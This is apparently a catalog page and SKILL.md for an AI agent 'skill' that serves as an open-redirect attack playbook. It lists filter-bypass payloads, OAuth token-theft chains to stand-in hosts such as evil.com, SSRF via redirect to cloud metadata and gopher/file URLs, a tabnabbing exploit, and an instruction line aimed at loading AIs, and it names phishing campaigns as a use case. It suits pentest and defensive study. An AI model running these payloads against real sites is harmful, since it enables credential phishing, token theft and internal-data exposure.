open-redirect
yaklang/hack-skills
Exploit open redirects via parameter injection, filter bypass, and chaining with phishing, OAuth token theft, and SSRF.
What is open-redirect?
Open redirect occurs when applications redirect users to URLs derived from user input without validation. This skill covers identifying redirect parameters and sinks, bypassing common filters, and chaining open redirects with phishing, OAuth token theft, CSRF bypass, SSRF, and tabnabbing attacks.
- Identify redirect parameters (url, redirect, next, dest, etc.) and server/client-side sinks (Location header, window.location, res.redirect)
- Bypass validation filters using protocol-relative URLs, userinfo injection, backslash tricks, URL encoding, and null byte truncation
- Chain open redirects with OAuth flows to steal authorization codes and access tokens from URL fragments and query parameters
- Exploit tabnabbing (reverse tabnabbing) via target="_blank" without rel="noopener" to redirect original tab to phishing pages
- Leverage open redirects for SSRF by chaining multi-hop redirects to bypass server-side filters and reach internal endpoints
- Amplify phishing attacks by using trusted domains as launchpads to credential-stealing clone sites
How to install open-redirect
npx skills add https://github.com/yaklang/hack-skills --skill open-redirectHow to use open-redirect
- 1.Identify all URL parameters that control navigation (url, redirect, next, dest, destination, redir, return, go, forward, target, etc.)
- 2.Test basic open redirect with external domain: ?url=https://evil.com
- 3.Attempt filter bypasses: protocol-relative (?url=//evil.com), userinfo (?url=https://trusted.com@evil.com), backslash (?url=/\evil.com), URL encoding
- 4.Check for JavaScript sinks (window.location, window.location.href, window.open) vulnerable to javascript: protocol or data: URIs
- 5.For OAuth flows, test if redirect_uri parameter allows open redirect and can leak authorization codes or tokens in URL fragments
- 6.Examine links with target="_blank" for missing rel="noopener" to test tabnabbing attacks
- 7.Chain open redirects with CSRF protections by verifying if Referer header is preserved through the redirect
- 8.Test server-side redirect following by submitting URLs that redirect to internal endpoints (169.254.169.254, localhost, private IPs)
Use cases
- Testing OAuth implementations for redirect_uri validation bypasses that leak authorization codes or access tokens
- Identifying open redirect parameters in web applications and chaining them with CSRF protections that rely on Referer header validation
- Discovering tabnabbing vulnerabilities in user-generated content links and external redirects lacking rel="noopener"
- Exploiting server-side redirect following to reach internal cloud metadata endpoints (169.254.169.254) via multi-hop redirect chains
- Crafting phishing campaigns that use legitimate domain redirects to increase click-through rates and credential capture
- Security researchers and penetration testers auditing web applications for redirect vulnerabilities
- OAuth and identity provider implementers validating redirect_uri parameters
- Bug bounty hunters targeting phishing and token theft attack chains
- Cloud security engineers testing SSRF protections and metadata endpoint access
open-redirect FAQ
Server-side redirects use HTTP 301/302 Location headers (PHP header(), Python redirect(), Java sendRedirect(), Node res.redirect()). Client-side redirects use JavaScript sinks like window.location or window.location.href. Both can be exploited for phishing, but client-side redirects may allow javascript: protocol injection.
Use userinfo injection: https://trusted.com@evil.com. The browser parses trusted.com as the username and evil.com as the host. Other bypasses include protocol-relative URLs (//evil.com), backslash tricks (/\evil.com), URL encoding (%2F%2Fevil.com), or subdomain takeover on *.trusted.com.
In OAuth implicit flow, the access token is returned in the URL fragment (#access_token=...). If the redirect_uri parameter allows an open redirect, the authorization server redirects to the attacker's domain with the token in the fragment. The attacker's page reads location.hash to capture the token. In authorization code flow, the code is leaked in the query string and can be exchanged for an access token.
Tabnabbing (reverse tabnabbing) occurs when a link opens a new tab with target="_blank" but lacks rel="noopener". The new page can access window.opener and redirect the original tab to a phishing page. Test by checking for target="_blank" links without rel="noopener" in user-generated content, forums, and external links.
When a server-side component follows HTTP redirects (URL preview, link unfurler, webhook), submit a URL to attacker.com that redirects to an internal endpoint like 169.254.169.254/metadata. The server follows the redirect and exposes internal data. Multi-hop redirects can bypass filters by keeping intermediate hops on the same attacker domain.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: open-redirect description: >- Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.
SKILL: Open Redirect — Expert Attack Playbook
AI LOAD INSTRUCTION: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains.
1. CORE CONCEPT
Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft.
https://trusted.com/redirect?url=https://evil.com
→ User sees trusted.com in the link → clicks → lands on evil.com
2. FINDING REDIRECT PARAMETERS
Common Parameter Names
?url= ?redirect= ?next= ?dest=
?destination= ?redir= ?return= ?returnUrl=
?go= ?forward= ?target= ?out=
?continue= ?link= ?view= ?to=
?ref= ?callback= ?path= ?rurl=
Server-Side Sinks
HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)
Client-Side (JavaScript) Sinks
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input
3. FILTER BYPASS TECHNIQUES
| Validation | Bypass |
|---|---|
Checks if URL starts with / | //evil.com (protocol-relative) |
Checks domain contains trusted.com | evil.com?trusted.com or trusted.com.evil.com |
Blocks http:// | //evil.com, https://evil.com, \/\/evil.com |
Checks URL starts with https://trusted.com | https://trusted.com@evil.com (userinfo) |
Regex ^/[^/] (relative only) | /\evil.com (backslash treated as path in some browsers) |
Django endswith('target.com') | http://evil.com/www.target.com — URL path ends with target domain |
| Whitelist by domain suffix | Subdomain takeover on *.trusted.com |
# Protocol-relative:
//evil.com
# Userinfo bypass:
https://trusted.com@evil.com
# Backslash trick:
/\evil.com
/\/evil.com
# URL encoding:
https://trusted.com/%2F%2Fevil.com
# Django endswith bypass:
http://evil.com/www.target.com
http://evil.com?target.com
# Trusted site double-redirect (e.g., via Baidu link service):
https://link.target.com/?url=http://evil.com
# Special character confusion:
http://evil.com#@trusted.com # fragment as authority
http://evil.com?trusted.com # query string confusion
http://trusted.com%00@evil.com # null byte truncation
# Tab/newline in URL (browser ignores whitespace):
java%09script:alert(1)
4. EXPLOITATION CHAINS
Phishing Amplification
Attacker sends: https://bigbank.com/redirect?url=https://bigbank-login.evil.com
Victim sees bigbank.com → clicks → enters credentials on clone site.
OAuth Token Theft
If OAuth redirect_uri allows open redirect on the authorized domain:
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ Authorization code or token appended to evil.com URL
→ Attacker captures token from URL fragment or query
CSRF Referer Bypass
Some CSRF protections check Referer header contains trusted domain:
1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
2. Redirect preserves Referer from trusted.com
3. CSRF protection passes because Referer = trusted.com
SSRF via Redirect
When server follows redirects:
?url=https://attacker.com/redirect-to-internal
# attacker.com returns 302 → http://169.254.169.254/
# Server follows redirect → SSRF to metadata endpoint
5. TESTING CHECKLIST
□ Identify all URL parameters that trigger redirects
□ Test external domain: ?url=https://evil.com
□ Test protocol-relative: ?url=//evil.com
□ Test userinfo bypass: ?url=https://trusted.com@evil.com
□ Test backslash: ?url=/\evil.com
□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
□ Check OAuth flows for redirect_uri open redirect
□ Verify if redirect preserves auth tokens in URL
6. TABNABBING (REVERSE TABNABBING)
Concept
When a link opens a new tab with target="_blank" WITHOUT rel="noopener":
- The new page can access
window.opener - It can redirect the ORIGINAL page:
window.opener.location = "https://phishing.com/login" - User returns to "original" tab → sees fake login page → enters credentials
Detection
<!-- Vulnerable: -->
<a href="https://external.com" target="_blank">Click here</a>
<!-- Safe: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
Exploitation
// On the attacker-controlled page (opened via target="_blank"):
if (window.opener) {
window.opener.location = "https://phishing.com/fake-login.html";
}
Where to Look
- User-generated content with links (forums, comments, profiles)
target="_blank"links to external domains- PDF viewers, document previews opening in new tabs
7. OPEN REDIRECT → OAUTH TOKEN THEFT (DETAILED CHAINS)
7.1 OAuth Implicit Flow
In the implicit flow, the access token is returned in the URL fragment (#access_token=...). If redirect_uri allows an open redirect on the authorized domain:
/authorize?response_type=token
&client_id=CLIENT
&redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
&scope=read
Flow:
1. User authenticates → authorization server redirects to:
https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. Open redirect fires → browser navigates to:
https://evil.com#access_token=SECRET
3. Attacker page reads location.hash → captures access token
7.2 Authorization Code Flow
The authorization code is sent as a query parameter. If the redirect chain preserves query parameters:
/authorize?response_type=code
&client_id=CLIENT
&redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
Flow:
1. Authorization server validates redirect_uri prefix → matches https://target.com/
2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE
4. Attacker exchanges code for access token
7.3 OIDC id_token Fragment Leak
/authorize?response_type=id_token
&client_id=CLIENT
&redirect_uri=https://target.com/cb
&nonce=NONCE
If redirect_uri points to open redirect endpoint:
→ id_token in fragment sent to attacker
→ Attacker has signed identity assertion
→ Can authenticate as victim on any RP accepting this IdP
7.4 redirect_uri validation bypass patterns
redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%23@evil.com
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com
8. OPEN REDIRECT → SSRF CHAIN
Server-side redirect following
When a server-side component follows HTTP redirects (e.g., URL preview, link unfurler, webhook, image fetcher):
1. Submit URL to server-side fetcher: http://attacker.com/redirect
2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/
3. Server follows redirect → SSRF to cloud metadata endpoint
4. Response (IAM credentials) returned to attacker or visible in preview
Multi-hop redirect for filter bypass
1. Server blocks direct requests to 169.254.169.254
2. Submit: http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2 (same domain, passes filter)
4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked)
DNS rebinding variant
1. attacker.com resolves to attacker's public IP (TTL=0)
2. Server resolves attacker.com → public IP → passes SSRF filter
3. Connection established, but HTTP redirect points to attacker.com again
4. Second DNS resolution: attacker.com now resolves to 169.254.169.254
5. Server follows redirect to internal address
Scope escalation via redirect protocols
http://attacker.com/redirect → gopher://127.0.0.1:6379/... (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd (local file read)
http://attacker.com/redirect → dict://127.0.0.1:11211/ (Memcached)
Not all HTTP clients follow cross-protocol redirects, but curl (default) and some libraries do.
9. URL PARSER CONFUSION FOR REDIRECT BYPASS
When a redirect validation function parses the URL differently from the browser or server that ultimately processes it:
Protocol-relative URL
//attacker.com
→ Browser: https://attacker.com (inherits current page protocol)
→ Some validators: relative path "/attacker.com" (wrong)
Backslash confusion
\/\/attacker.com
/\/attacker.com
→ Many browsers normalize \ to / in URLs
→ Validators treating \ as path character may allow it
Userinfo section abuse
//attacker.com\@target.com
→ Browser: navigates to attacker.com (@ is userinfo delimiter)
→ Validator sees "target.com" in the string → passes allowlist check
//target.com@attacker.com
→ Browser: userinfo=target.com, host=attacker.com
→ Validator checks "starts with target.com" → passes
https://target.com%2F@attacker.com
→ URL-decoded: target.com/ as userinfo, host=attacker.com
Double encoding
//attacker%252ecom
→ First decode: //attacker%2ecom (passes validator)
→ Second decode (by server/browser): //attacker.com (actual redirect)
CRLF injection + redirect
/%0d%0aLocation:%20https://attacker.com
→ If server reflects the path in a header context:
HTTP/1.1 302 Found
Location: /
Location: https://attacker.com ← injected header wins
Fragment confusion
https://target.com#@attacker.com
→ Browser: host=target.com, fragment=@attacker.com
→ But some JS-based redirects: window.location = url → may process differently
https://attacker.com#.target.com
→ Validator: sees "target.com" in string → passes
→ Browser: navigates to attacker.com (fragment ignored in navigation)
Special characters
https://attacker.com%E3%80%82target.com
→ Unicode ideographic full stop (U+3002) — some parsers treat as dot
→ Browser may normalize differently than validator
https://attacker。com (U+3002 fullwidth period)
https://attacker.com (U+FF0E fullwidth full stop)
Combined URL parser differential table
| Payload | Validator Sees | Browser Navigates To |
|---|---|---|
//evil.com | Relative path | https://evil.com |
\/\/evil.com | Path \/\/evil.com | https://evil.com |
//evil.com\@target.com | Contains target.com | https://evil.com |
//target.com@evil.com | Starts with target.com | https://evil.com |
/%0d%0aLocation: https://evil.com | Path string | Header injection → redirect |
//evil%252ecom | evil%2ecom (not a domain) | evil.com (after double decode) |
Related skills
More from yaklang/hack-skills and the wider catalog.

path-traversal-lfi
Expert path traversal and LFI attack playbook with encoding bypass, log poisoning, and PHP wrapper exploitation.

prototype-pollution
Test JavaScript prototype pollution in client and server contexts via __proto__ and constructor.prototype paths.

prototype-pollution-advanced
Escalate confirmed prototype pollution to RCE via template engines, child_process gadgets, and client-side script exploitation.

race-condition
Test race conditions and TOCTOU vulnerabilities in web apps via synchronized parallel requests.

recon-and-methodology
Systematic reconnaissance and bug-hunting methodology for mapping assets, discovering endpoints, and building structured testing plans.

recon-for-sec
Entry-point router for security reconnaissance and methodology on new targets.